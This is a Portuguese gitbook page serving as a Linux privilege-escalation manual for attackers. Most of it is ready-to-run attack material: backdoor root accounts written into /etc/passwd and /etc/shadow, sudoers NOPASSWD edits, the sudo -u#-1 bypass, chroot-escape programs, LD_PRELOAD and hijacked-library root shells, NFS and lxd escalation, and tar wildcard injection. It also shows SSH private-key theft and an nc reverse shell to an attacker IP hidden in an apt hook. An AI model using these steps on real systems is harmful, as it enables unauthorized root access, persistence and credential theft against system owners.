Privilege Escalation

Para realizar um PrivEsc em Linux, podemos seguir os seguintes itens como um manual de uso:

Exploits do Kernel
Programas executando com root
Softwares Instalados
Reúso de Senha(s)
Services
Suid Misconfiguration
sudo-rights
Scripts que o root utiliza com permissão de escrita
Bad Path Configuration
Cronjobs
Unmounted File Systems

DICA: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos: cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash

IMPORTANTE: Sempre que tiver permissões para utilizar alguma linguagem com privilégios elevados, utilize também seção de Code Injection para ver como aproveitar dessa falha.

Ferramentas Automatizadas

Existem algumas ferramentas free muito boas, como LinEnum, LinPEAS, Unix Privesc, Linprivchecker.py e Linux Smart Enumeration. Também podemos contar com uma ferramenta chamada pspy, que é uma ferramenta de linha de comando projetada para bisbilhotar processos sem a necessidade de permissões de root. Ele permite que você veja comandos executados por outros usuários, tarefas cron, etc., à medida que são executados.

Para ambas, basta baixar na máquina alvo e executá-la.

LinEnum

$ ./LinEnum.sh

Unix Privesc Check

# Modo padrão
./unix-privesc-check standard

# Modo detalhado
./unix-privesc-check detailed

Linux Smart Enumeration

./lse.sh -l # Pouco detalhada
./lse.sh -l1 # Level 1 = Mostra mais informações que podem ajudar no PrivEsc
./lse.sh -l2 # Level 2 = Faz um dump de todas as informações reunidas sobre o sistema

Script Personalizado

O script abaixo trabalha de maneira semelhante ao pspy

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/mysther.tmp; sleep 0.1; done; sort /tmp/mysther.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/mysther.tmp;

Comandos Úteis

# Lista todos os usuários com permissão root
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

# Lista todos os UID's e seus respectivos grupos
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null

# Lista os shells disponíveis
cat /etc/shells

# Serviços que estão sendo executados como root
ps aux | grep root

# Mostra os últimos comandos que foram executados
cat ~/.bash_history

# Verifica se você pode acessar outros diretórios do usuário para encontrar arquivos interessantes
ls -ahlR /root/

# Verifica se podemos ler os arquivos de histórico do root
ls -la /root/.*_history

# Verifique se há arquivos ssh interessantes no diretório de usuários atuais
ls -la ~/.ssh/

# Verifica configurações do inetd services
ls -la /usr/sbin/in.*

# Verifique os arquivos de log em busca de palavras-chave,por exemplo "pass" e mostra correspondências positivas
grep -l -i pass /var/log/*.log 2>/dev/null

# Lista arquivos abertos (a saída dependerá dos privilégios da conta atual)
lsof -i -n

# Lê o correio
cat /var/mail/root
cat /var/mail
cat /var/spool/mail

# Arquivos globais graváveis
find / -perm -2 -type f 2>/dev/null

# Arquivos globais graváveis, exceto em "/proc"
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

# Diretórios globais que são graváveis
find / -perm -2 -type d 2>/dev/null

# Arquivos de configuração rhost
find /home –name *.rhosts -print 2>/dev/null

# Arquivos *.plan, lista permissões e lê o conteúdo dos arquivos
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;

# Procura hosts.equiv, lista permissões e lê o conteúdo dos arquivos
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;

# Informações do SSH keys/host
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la

# Lista arquivos dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".log" dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos .conf dentro de /etc (recursividade de 1 level)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".conf" (recursividade de 4 levels) e número da linha de saída em que a palavra "password" está localizada
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null

# Diretórios de arquivos graváveis
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# Procurando arquivo com SUID ativo
find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null

# Procurando arquivo com GUID ativo
find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null

# Arquivo com permissão de leitura
find / -type f -readable -ls 2>/dev/null

# Diretórios executável
find / -perm -o x -type d 2>/dev/null

# Diretórios graváveis e executáveis
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

# Listando arquivos com permissão
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null

# Listando diretórios com permissão
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null

# Procurando por variáveis globais do PHP: $_POST[''], $_GET[''], $_SESSION[''], $_REQUESTS[''] e $_COOKIE['']
grep -R -i '$_[PGSRC].*\[' .

# Procurando por métodos perigosos do PHP: shell, exec, shell_exec, system, passthru, eval, open, unserialize, include, file_put_contents
grep -R -i 'shell\|exec\|shell_exec\|system\|passthru\|eval\|open\|unserialize\|include\|file_put_contents' .

As vezes é melhor definirmos datas de modificação nos arquivos que estamos buscando para ter um resultado melhor e mais limpo, como no exemplo abaixo:

find / -type f -newermt 2019-07-03 ! -newermt 2019-07-31 -ls 2>/dev/null

SSH

Arquivos onde contém chaves de SSH. Geralmente ficam em /home/<user>/.ssh/:

authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts

Exploit em Kernel

Sempre que precisar procurar algum exploit em kernel, utilize a seguinte Dork no Google: site:exploit-db.com kernel <version>.

Caso o Linux use Kernel na versão 2.6.39, utilize os seguintes comandos para virar root no SO:

gcc mempodipper.c -o mempodipper
./mempodipper

IMPORTANTE Não use explorações do kernel se você puder evitá-lo. Se você usá-lo, pode travar a máquina ou colocá-la em um estado instável, além de produzir muitos registros em sys.log. Portanto, as explorações do kernel devem ser o último recurso. Tente usar um priv-esc mais simples

MySQL

Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: \! sh. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.

Adicionando User ao Grupo sudo

Utilizando senha para usar sudo

usermod -aG sudo <user>
echo "<user> ALL=(ALL) ALL" >> /etc/sudoers

Sem utilizando senha para usar sudo

usermod -aG sudo <user>
echo "<user> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Lendo Permissões Personalizadas

Útil para saber se o usuário atual tem permissões para acessar determinadas ferramentas e/ou comandos como outro usuários (incluindo o root), sem pedir senha. Esse comando irá ler o arquivo /etc/sudoers.

DICA: Ao editar o arquivo /etc/sudoers, utilize o comando visudo, pois este já verifica erros de sintaxe.

# Comando
sudo -l

# Saída
root ALL=(ALL:ALL) NOPASSAWD:/bin/cp

IMPORTANTE: Pode acontecer do sudo -l não conseguir pegar as permissões, então certifique-se de olhar no arquivo /etc/sudoers e também nos arquivos presentes em /etc/sudoers.d/.

Pegando a saída de exemplo, vamos ter as seguintes considerações:

SAÍDA DO COMANDO

EXPLICAÇÃO

root

Usuário com permissão sudo

ALL=

Todos os terminais

(ALL:ALL)

User:Group. ALL:ALL pode ser substituído por somente ALL

NOPASSAWD

"TAG opcional" para indicar que não precisará de senha

/bin/cp

Path do diretórios. Se houver mais de um arquivo, pode separá-los com uma vírgula

Se tiver um <user> ALL=ALL, o usuário terá acesso a todo o sistema e automaticamente a tag NOPASSWD estará ativo.

Adicione a linha a baixo em /etc/sudoers para permitir que acesse qualquer comando como root, sem precisar de confirmar a senha atual

<user> ALL=NOPASSWD:ALL

Podemos também, ter a saída abaixo, que significa que podemos executar o bash de qualquer usuário, menos do root.

(ALL, !root) /bin/bash

Na teoria isso funciona, mas na prática, não. Podemos burlar essa regra em determinadas versões do sudo para pegarmos acesso root, executando o seguinte comando:

sudo -u#-1 /bin/bash

Usuários com Senha em Branco

Para pegar todos os usuários que tem senha em branco, utilize o comando

cut -d: -f1,2,3 /etc/passwd | grep ::

Criando Usuário root Manualmente

A funcionalidade desse tipo de criação de usuário, serve para criar um usuário que servirá como um Backdoor. Para isso, insira a linha abaixo em /etc/passwd e acesse com o novo usuário que tem permissões de root:

# Caso exista o arquivo /etc/shadow
<usuario>:x:0:0:<comentario>:/:/bin/bash

# Caso não exista o arquivo /etc/shadow
<usuario>::0:0:<comentario>:/:/bin/bash

EXPLICAÇÃO <usuario> = Nome do usuário / login x = Área da senha do usuário. Quando tem um "x" significa que a senha está localizada em /etc/shadow/. Caso tenha um asterísco (*), significa que a conta está desativada 0 = Define o UID (User ID) que varia e 0 a 60000, sendo o UID reservado para o root, de 1 a 499 para sistemas e partir de 500 para usuários 0 = Define o GID (Group ID) que o usuário pertence. Para ver os grupos disponíveis, confira o arquivo /etc/group <comentario> = Informações adicionais do usuário, que pode ser visto pelo comando finger / = Diretório de Login /bin/bash = Path absoluto da shell definida para o usuário

Agora vá em /etc/shadow e adicione:

<usuario>::11367::::::

EXPLICAÇÃO <usuario>: = Login / ID do usuário : = (Parâmetro vazio) Senha criptograda 11367: Números em dias da última data de alteração : = (Parâmetro vazio) Números mínimo em dias para mudança de senha : = (Parâmetro vazio) Números máximo em dias para mudança de senha : = (Parâmetro vazio) Números máximo em dias que o usuário pode ficar inativo : = (Parâmetro vazio) Data de expiração da conta : = (Parâmetro vazio) Flag reservado

Depois disso já pode acessar com o novo usuário (senha em branco)

Serviços Locais

Pode ser que o usuário esteja executando algum serviço disponível apenas nesse host e você não pode se conectar ao serviço de fora. Esses serviços podem estar em execução como root ou podem ter vulnerabilidades neles. Eles podem ser ainda mais vulneráveis, pois o desenvolvedor ou usuário pode estar pensando que, uma vez que é acessível apenas para um usuário específico, não precisamos gastar tanta segurança".

netstat -anltup
netstat -ano

Podemos também ver quais portas locais estão abertas com esse serviço

ss -nlt

Pegando Chave SSH

Ao ter acesso ao shell do nosso alvo, podemos listar todos os usuários em /etc/passwd, e depois podemos executar o seguinte comando para pegarmos a chave SSH:

cat /home/<user>/.ssh/id_rsa | tee <user>.key

Agora jogue o resultado que sair no terminal para sua máquina local em um arquivo chamado <user>.key e execute os comandos:

chmod 600 <user>.key
ssh <user>@<ip_alvo> -i <user>.key

Assim você acessa ao SSH do alvo sem precisar inserir a senha

Link Simbólico

Criar um link simbólico de um comando para outro (ex.: de ls para cat) também pode ser uma maneira de escalar privilégios

Procurando strings em arquivos

Útil para procurar arquivos com palavras chave como: pass, senha, key, secret, api, http, db, database, ssh, ftp, mail, access, etc

grep </diretorio/projeto> -irnw -e '<string_a_ser_procurada>'

Permissão de Escrita em /etc/passwd

Podemos criar um novo usuário e informando um * no segundo parâmetro. Geralmente o segundo parâmetro é um x, o que significa que a senha está localizada em /etc/shadow. Informando um *, estamos configurando nosso usuário para que não precise de senha para utilizar o SO. Também podemos gerar um hash de uma determinada senha, e alterar manualmente o segundo parâmetro de /etc/passwd (que seria o x ou *), com as seguintes maneiras:

# Python
python -c 'import crypt; print crypt.crypt("<nova_senha>", "$6$salt")'

# OpenSSL
openssl passwd <nova_senha>
openssl passwd -1 <nova_senha>
openssl passwd -1 -salt <salt> <nova_senha>

# makepasswd
echo '<nova_senha>' | makepasswd --clearfrom=- --crypt-md5 | cut -d' ' -f4

Após gerar a senha (hash), execute o comando abaixo para inserir o novo usuário no /etc/passwd.

 echo "<novo_usuario>:<hash_gerado>:0:0:root:/root:/bin/bash" >> /etc/passwd

Agora basta acessá-lo:

su <novo_usuario>

Permissão de Escrita em /etc/shadow

Após ter permissão de escrita em shadow, altere a senha do root (ou crie outro user caso tenha permissão tamém em /etc/passwd), gerando a senha com o comando abaixo e manipulando o arquivo /etc/shadow, substituindo a resultado do comando abaixo, pela linha referente ao root, que geralmente é a primeira linha do arquivo.

echo "root:$(mkpasswd -m sha-512 <nova_senha> foobarbaz):12345:0:::::"

Permissão de Escrita no Diretório /etc/apt/apt.conf.d

Caso tenha permissão de escrita dentro do diretório /etc/apt/apt.conf.d, crie um arquivo chamado pwn, com o seguinte conteúdo:

APT::Update::Pre-Invoke {"<command>";};

Após isso, deve-se executar o comando apt-get update, com um usuário com permissões privilegiadas. Em alguns cenários, esse comando é disparado a cada 2 minutos automaticamente, então verifique isso com pspy.py.

Caso queira fazer tudo em um único comando, execute:

echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip_atacante> <port> >/tmp/f”};' > /etc/apt/apt.conf.d/pwn

chroot

C

Crie um arquivo chamado exploit.c com o seguinte conteúdo:

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
        mkdir("chroot-dir", 0755);
        chroot("chroot-dir");
        for(int i=0; i < 1000; i++)
        {
                chdir("..");
        }
        chroot(".");
        system("/bin/bash");
}

Depois execute:

gcc exploit.c -o exploit
chmod +x exploit
./exploit

Python

#!/usr/bin/python
import os

os.mkdir("./chroot-dir")
os.chroot("./chroot-dir")

for i in range(1000):
	os.chdir("..")

os.chroot(".")
os.system("/bin/bash")

Agora basta executar:

python <file.py>

PERL

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";

foreach my $i (0..1000) {
        chdir ".."
}
chroot ".";
system("/bin/bash");

Agora basta executar:

perl <file.pl>

getcap

getcap -r / 2>/dev/null

A saída deve ser semelhante a /usr/bin/python2.6 = cap_setuid+ep, então execute o comando abaixo para ter acesso root:

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

rbash

vi

sudo vi
(esc) :set shell=/bin/sh
(esc) :shel

find

find /bin -name bash -exec {} \;

Rsync

Geralmente temos o arquivo /etc/rsyncd.secrets que contém as credenciais de acesso, porém caso não ache esse arquivo, leia o conteúdo do arquivo /etc/rsyncd.conf e veja o valor de secrets file.

Sistemas de Arquivos Não Montados

Quando acharmos sistemas de arquivos não montados, podemos montar e iniciar o processo PrivEsc. O primeiro método que podemos utilizar, é a leitura do arquivo fstab, procurando por algum volume que esteja como none (caso seja necessáio, utilize um grep).

cat /etc/fstab
cat /etc/fstab | grep none

Outra maneira de realizarmos tal verificação, são com os comandos abaixo:

mount -l
lsblk

Screen

Esse exploit funciona somente na versão 4.5.0 (às vezes pode ser visto como 4.05.00). Baixe o screen2root (disponível na página Softwares deste gitbook) e execute. Fora isso, também podemos listar todas as Screens ativas e, caso uma delas esteja com o usuário root, podemos pegar a sessão.

# Lista todas as sessões
screen -ls

# Cria uma screen
screen -S <name_screen>

# Entra em uma screen
screen -x <id_screen>

# Sai de uma screen, mantendo ativa. Caso execute o comando "exit", a screen será deletada
CTRL + A + D

Cronjob

O arquivo principal de Cronjob é o /etc/crontab e nele podemos ver scripts que são executados como root e que podem ter permissão de escrita. Também podemos ver com o comando crontab -l (que irá ler /var/spool/cron/crontabs/<user>) se há alguma crontab configurado para o nosso user atual. E por último utilize os comandos abaixo para verificar se há informações importantes:

ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
grep CRON /var/log/cron.log

Também podemos fazer um PrivEsc através do Cronjob, alterando o caminho de chamadas que está utilizando o PATH para realizar a execução de algum arquivo. Vamos considerar a seguinte crontab abaixo (demais linhas foram ocultadas para melhor leitura):

SHELL=/bin/sh
PATH=/home/mysther:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root script.sh

Note que o arquivo script.sh será procurado nos diretórios definidos em PATH, seguindo da esquerda para a direita, então se criarmos um arquivo chamado script.sh, localizado em /home/mysther, ele será executado com privilégios root.

Se preferir, pode fazer a cron criar um bash com SUID ativo para conectar-se como root depois.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/mysther/script.sh
/tmp/bash -p
id

Outra forma de fazermos isso, é quando o script utiliza o comando cd para alterar de diretório, criando assim uma nova forma de atacar em um determinado path. No trecho abaixo podemos verificar uma falha de path, pois após entrar no diretório /home/mysther, o executável cat pode ser explorado, já que o mesmo não possui o path completo. Para este cenário, basta criar um arquivo malicioso com o nome /home/mysther/cat.

*/01 * * * * root cd /home/mysther && cat file > /tmp/file

exports

Primeiro execute o comando abaixo e verifique se encontra uma saída semelhante a /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check):

grep no_root_squash /etc/exports

Caso tenha um resultado positivo, execute os seguintes comando na máquina atacante:

showmount -e <ip_alvo>
mkdir /tmp/test
cd $_
mount -o rw,vers=2 <ip_alvo>:/tmp /tmp/1

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > exploit.c
# Ignore os erros, caso tenha
gcc exploit.c -o exploit
chmod +s exploit

Volte para a máquina alvo e execute (lembre-se de verificar o diretório de montagem, que no nosso exemplo é o /tmp):

/tmp/exploit
id

Permissão de Disco

Se o usuário for membro do grupo Disco, podemos ler o conteúdo do sistema de arquivos

debugfs /dev/sda
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Permissão de Vídeo

Se o usuário for membro do grupo Vídeo, podemos ler o Framebuffer

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Arquivos Modificados Recentemente

find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
find /home -type f -mmin -60
find / -type f -mtime -2

TMUX

Ferramenta semelhante a screen, que permite múltiplas sessões no terminal. Assim como o screen, se tiver uma sessão aberta como root será um fácil PrivEsc.

Primeiro podemos listar as sessões que estão abertas com o comando:

tmux ls

Analisando o serviço com o comando ps aux | grep -i tmux, podemos ter um retorno de algo parcido como /usr/bin/tmux -S /.devs/dev_sess. Verificando as permissões com ls -la /.devs/dev_sess podemos ver o usuário e, caso seja de interesse, acessarmos a sessão com o comando

tmux -S /.devs/dev_sess

Variáveis de Ambiente

SO

Supondo que temos um derterminado comando que está sendo executado como root, por exemplo script.sh, podemos criar um arquivo com o mesmo nome em um diretório diferente e fazer o root executá-lo. Vamos supor que temos a seguinte resultado ao executar o comando: echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

O arquivo script.sh está localizado em /usr/bin, porém se criarmos um arquivo com o mesmo nome, no diretório /usr/local/bin, ele que será executado, pois a leitura é sempre feita nos diretórios que estão em $PATH, seguindo da esquerda para a direita.

Python

Seguindo o exemplo acima podemos fazer isso o Python. Vamos supor que temos o seguinte arquivo chamado script.py que está sendo executado como root (SUID Bit).

OBS.: Ao executar sudo -l, certifique-se de que pode alterar as variáveis de ambiente, como no exemplo a seguir: (ALL) SETENV: </path/to/file>

from shutil import make_archive

src = '/var/log'
dst = '/var/log2'

make_archive(dst, 'gztar', src)

Então vamos criar um arquivo chamado shutil.py (que irá conter um código malicioso como uma Reverse Shell) e executar o script com o seguinte comando:

sudo PYTHONPATH=. script.py

OBS.: Antes de fazer esse processo, verifique o Path das Bibliotecas, pois caso tenha acesso a escrita, será bem mais fácil modificá-los diretamente. Para verificar esse path, execute o comando

python3 -c 'import sys; print ("\n".join(sys.path))'

pip

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

LD_PRELOAD

Para que esse tipo de PrivEsc dê certo, primeiro execute o sudo -l (abaixo segue um exemplo de saída) e verifique se aparece o LD_PRELOAD (geralmente vem como env_keep+=LD_PRELOAD) na lista de Matching Defaults. Nesse caso, o comando /usr/bin/find está com privilégios, então iremos utilizá-lo para realizar nosso ataque

Matching Defaults entries for teste on win:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User teste may run the following commands on win:
    (ALL : ALL) NOPASSWD: /usr/bin/find

Agora execute os comandos abaixo com o usuário teste:

cd /tmp
nano shell.c

Insira o código abaixo:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Agora converta o arquivo feito em C em so (extensão de lib em Linux, equivalente a dll no Windows):

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

E então execute-o utilizando o comando find (que estamos usando como exemplo) para escalar privilégio:

sudo LD_PRELOAD=/tmp/shell.so find

Compartilhamento NFS

Se a máquina tiver algum compartilhamento NFS mal configurado, podemos utilizá-lo para aumentar nossos privilégios, pois podemos ler arquivos remotos do alvo.

Verificando se o alvo possui qualquer compartilhamento NFS :

showmount -e <ip>
sudo nmap --script=nfs-showmount <ip>

Um ponto importante é sabermos também qual a versão do NFS:

rpcinfo -p <ip> | grep nfs

Caso o resultado seja positivo, podemos montar a unidade em nosso SO.

# Criando um diretório para acessar os arquivos remotos
mkdir /tmp/nfsdir

# Realizando a montagem com 2 maneiras diferentes
mount -t nfs -o nfsvers=<version> <ip>:<directory_mount> /tmp/nfsdir
mount -t nfs <ip>:<directory_mount> /tmp/nfsdir

Assim como podemos montar o compartilhamento em nosso host, podemos também desmontá-lo, com o seguinte comando:

umount /tmp/nfsdir

Aumentando Privilégios de Forma Manual

Depois de criarmos a montagem, podemos receber mensagem de access denied, que podemos burlar. Por razões de "segurança", o NFS 4 não mostra o uid e gid remotos reais, mas sim o que corresponde ao usuário e grupo nobody. No entanto, o NFS 3 mostra o uid e gid remotos reais do proprietário do compartilhamento, o que nós dá uma grande vantagem (caso o NFS 3 esteja disponível), já que podemos criar um usuário/grupo com o mesmo uid/gid.

Utilizando o comando mount (descrito acima), podemos definir o valor de parâmetro nfsvers como 3 e depois verificar os respectivos uid/gid, utilziando os comandos abaixo:

ls -lha <mount_dir>
ls -ld <mount_dir>
stat <mount_dir>

Após isso, já sabemos os valores de uid e gid necessários para acessar o(s) arquivo(s), então vamos criar nosso user que possui tais permissão:

groupadd --gid <gid> <mysther_group>
useradd --uid <uid> --groups <mysther_group> <mysther_user>
sudo -u <mysther_user> ls -l <mount_dir>

DICA: O processo acima também pode ser feito com o comando sudo adduser mysther e depois alterando o UID e GID do usuário mysther no arquivo /etc/passwd.

Aumentando Privilégios com NfSpy

nfspy -o server=<ip>:<directory_mount>,nfsport=2049/tcp,rw <mount_dir>

Compartilhamento NFS antigo

Utilize o -o nolock para desabilitar o bloqueio de arquivos.

mkdir </mnt/new_folder>
sudo mount -o nolock <ip>:/<directory> </mnt/new_folder/>
ls -lha </mnt/new_folder>

MOTD

Caso possua permissões de escrita no diretório /etc/update-motd.d, execute o comando abaixo para sobrescrever o arquivo 00-header.

echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /etc/update-motd.d/00-header0

Agora para que o arquivo seja executado, é preciso realizar login (pode utilizar o SSH) para que o arquivo 00-header seja executado como root. Assim que executado, podemos ver o arquivo /tmp/bash com SuidBit ativo, então execute o comando abaixo para pegar acesso root.

/tmp/bash -p

tar

Para que isso dê certo, certifique-se antes que o usuário alvo (de preferência root) esteja utilizando um comando semelhante a:

tar czf <new_file.tar.gz> *

Levando em conta de que isso esteja ocorrendo e que estamos todos no mesmo diretório, vamos criar 1 arquivo que será executado pelo bash e 2 arquivos (que irão servir como parâmetros) para a execução do primeiro arquivo criado.

echo '<command>' > shell.sh
touch ./--checkpoint=1 ./--checkpoint-action=exec=bash\ shell.sh

Agora assim que o comando tar for executado, o arquivo shell.sh também será executado, usando os privilégios do mesmo usuário que executou o tar.

VIM

/tmp/vim -c ':py3 import os ; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Library Ausente

Quando temos SETUID em um executável que execute/procura por algum arquivo .so e não o localiza, podemos então criar o nosso próprio arquivo .so malicioso. Para sabermos onde que devemos salvar esse arquivo, devemos antes ler os arquivos presentes em /etc/ld.so.conf.d/ para descobrir o diretório das libs compartilhadas e depois criar um arquivo com extenção .c, contendo o conteúdo abaixo.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int test(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

Alguns código podem manter o diretório em hardcoded, então podemos buscar através do seguinte comando:

objdump -x <file> | grep RPATH

Note que no código acima estamos utilizando uma função chamada test (linha 5), que deve ser alterado para o nome correto da function. Geralmente podemos ver o nome em erros como: <function>: symbol lookup error: <function>: undefined symbol: <function> Após isso, vamos compilá-lo:

gcc -shared -o <file.so> -fPIC <file.c>

Agora basta executar novamente o executável que chama o arquivo .so.

É comum pergamos cenário onde o binário irá ler alguma alguma variável do arquivo .so, então somos obrigado a definí-lo. Para contornar isso e acessar o bash, podemos utilizar um constructor da seguinte forma:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int <variavel_obrigatoria>=1234;
void inject()__attribute__((constructor));
void inject()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

Vault

Com o vault, podemos gerar uma senha SSH do usuário root, caso uma má configuração permita isso

vault write ssh/creds/<name_otp> ip=<ip_alvo>
# Ou
vault ssh -role <name_otp> -mode otp <user>@<ip>

# No exemplo abaixo, a senha (OPT Token da sessão) irá aparecer, então basta utilizar a senha fornecida
vault ssh <user>@<ip>

lxd

Verifique com o comando id, se o usuário atual faz parte do grupo lxd. Caso seja positivo, execute o comando abaixo no host atacante.

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

Transfira o arquivo alpine-v<version>.tar.gz para o host alvo e depois execute os seguintes comandos (no host alvo).

lxc init <myimage> ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/root path=/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

Agora com permissão root, acesse o diretório /mnt/root para visualizar todo os arquivos do SO.

Softwares de Terceiros Instalados

Geralmente os softwares de terceiros vão estar em diretórios comuns como:

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

Podemos também ver os pacotes instalados com os comandos:

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa

# OpenBSD, FreeBSD
pkg_info

Senhas em Texto Limpo

Geralmente podemos pegar tais senhas em arquivos de configurações. Útil também ver nas configurações de e-mail em /var/spool/mail. Com o Linenum, podemos buscar por senhas utilizando o comando: LinEnum.sh -t -k password.

Arquivos Temporários

Muitos administradores tem mania deixar arquivos importantes em /tmp e /var/tmp. Ambos serve, para armazenar arquivos temporários, mas, apesar do nome, /var/tmp não tem é um diretório que exclui todos os seus arquivos ao reiniciar o SO, diferentemente do /tmp.

Finger

Mostrando informações do usuário, como senhas telnet.

finger -l @exemplo.com

O comando finger tabmém serve para obter informações do usuário (como tempo de ociosidade), Host e IP, mas também serve mostrar arquivos .plan ou .project em seus diretórios, caso exista.

finger 0@<ip>

Sites

# Lista de Kernel e seus devidos exploits
https://github.com/lucyoa/kernel-exploits

# Unix Privesc Check
https://pentestmonkey.net/tools/audit/unix-privesc-check

# pspy
https://github.com/DominicBreuker/pspy

# NfSpy
https://github.com/bonsaiviking/NfSpy

# Sensitive Files
https://github.com/xMilkPowderx/OSCP/blob/master/File%20Inclusion.md

# Tutorial para privesc com o arquivo /etc/passwd
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux  
https://linuxconfig.org/how-to-create-systemd-service-unit-in-linux
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://github.com/AlessandroZ/BeRoot/tree/master/Linux

# Diversos comandos úteis para Enumerar e fazer PrivEsc
https://www.rebootuser.com/?page_id=1721

https://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections

PreviousMemcached NextSUID / GUID

Last updated 7 months ago

Was this helpful?